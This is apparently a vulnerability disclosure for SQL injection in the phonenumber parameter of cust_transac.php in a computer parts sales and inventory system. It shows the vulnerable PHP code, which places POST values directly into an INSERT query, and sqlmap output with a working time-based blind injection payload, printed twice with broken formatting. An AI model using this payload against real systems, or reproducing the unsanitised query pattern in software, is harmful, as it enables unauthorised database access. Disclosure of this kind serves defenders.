SQL Injection vulnerability exists in the phonenumber parameter of cust_transac.php file of computer parts sales and inventory system. It is a security vulnerability occurring in the database layer of Web program, and it is the most simple vulnerability existing in the website. The main reason is that the program does not judge and process the validity of user input data, so that the attacker can add additional SQL statements to the predefined SQL statements in the Web application, and realize illegal operations without the knowledge of the administrator, so as to deceive the database server to execute unauthorized arbitrary queries. Thus further access to data information. In short, SQL injection is the insertion of SQL statements into user input strings. If unchecked in poorly designed programs, these injected SQL statements can be mistaken for normal SQL statements by the database server and run, allowing an attacker to execute unplanned commands or access unauthorized data.

复现过程

```
    ?>
  <!-- Page Content -->
  <div class="col-lg-12">
    <?php
      $fname = $_POST['firstname'];
      $lname = $_POST['lastname'];
      $pn = $_POST['phonenumber'];

      switch($_GET['action']){
        case 'add':
            $query = "INSERT INTO customer
            (CUST_ID, FIRST_NAME, LAST_NAME, PHONE_NUMBER)
            VALUES (Null,'{$fname}','{$lname}','{$pn}')";
            mysqli_query($db,$query)or die ('Error in updating Database');
        break;
      }
    ?>
      <script type="text/javascript">
        window.location = "customer.php";
      </script>
  </div>
```

```
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: phonenumber (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: firstname=123&lastname=123&phonenumber=123' AND (SELECT 9569 FROM (SELECT(SLEEP(5)))mZBn) AND 'jsAz'='jsAz
---
```

Sqlmap Payload

```
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: phonenumber (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
```

Payload: firstname=123&lastname=123&phonenumber=123' AND (SELECT 9569 FROM (SELECT(SLEEP(5)))mZBn) AND 'jsAz'='jsAz
---```